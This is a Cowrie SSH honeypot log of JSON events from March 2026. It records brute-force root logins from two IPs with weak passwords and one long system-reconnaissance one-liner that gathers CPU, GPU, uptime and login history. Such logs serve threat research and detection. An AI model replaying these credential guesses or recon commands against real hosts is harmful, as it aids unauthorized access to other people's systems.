{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:26.736555Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:27.385749Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:27.865681Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:27.869263Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:28.090660Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:28.095406Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":42640,"dst_ip":"159.203.135.109","dst_port":22,"session":"40ec4ea983ab","protocol":"ssh","message":"New connection: 101.44.96.62:42640 (159.203.135.109:22) [session: 40ec4ea983ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:40.007982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:40.012565Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:40.230361Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:40.884313Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:41.354428Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:41.358103Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:41.579753Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:41.584733Z","src_ip":"101.44.96.62","session":"40ec4ea983ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59278,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa999212b77","protocol":"ssh","message":"New connection: 101.44.96.62:59278 (159.203.135.109:22) [session: 4aa999212b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:53.501513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:53.505351Z","src_ip":"101.44.96.62","session":"4aa999212b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:53.725881Z","src_ip":"101.44.96.62","session":"4aa999212b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:54.378400Z","src_ip":"101.44.96.62","session":"4aa999212b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:55.598289Z","src_ip":"101.44.96.62","session":"4aa999212b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":52916,"dst_ip":"159.203.135.109","dst_port":22,"session":"492b20f8f641","protocol":"ssh","message":"New connection: 91.92.240.199:52916 (159.203.135.109:22) [session: 492b20f8f641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:59.162398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:59.433669Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:59.440247Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35040,"dst_ip":"159.203.135.109","dst_port":22,"session":"1af3fd0f0a9c","protocol":"ssh","message":"New connection: 101.44.96.62:35040 (159.203.135.109:22) [session: 1af3fd0f0a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:06.972709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:06.977159Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:07.193333Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1","message":"login attempt [root/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:07.802398Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password1","message":"login attempt [root/Password1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:07.842362Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.095261Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.098553Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.102070Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.106196Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.110000Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.113429Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.239293Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.245046Z","src_ip":"91.92.240.199","session":"492b20f8f641","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.372023Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.375915Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.598369Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:08.603622Z","src_ip":"101.44.96.62","session":"1af3fd0f0a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35504,"dst_ip":"159.203.135.109","dst_port":22,"session":"61cdceaaf989","protocol":"ssh","message":"New connection: 101.44.96.62:35504 (159.203.135.109:22) [session: 61cdceaaf989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:20.496070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:20.501420Z","src_ip":"101.44.96.62","session":"61cdceaaf989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:20.718784Z","src_ip":"101.44.96.62","session":"61cdceaaf989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"1qaz@WSX","message":"login attempt [oracle/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:21.386786Z","src_ip":"101.44.96.62","session":"61cdceaaf989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:22.606766Z","src_ip":"101.44.96.62","session":"61cdceaaf989","protocol":"ssh"}
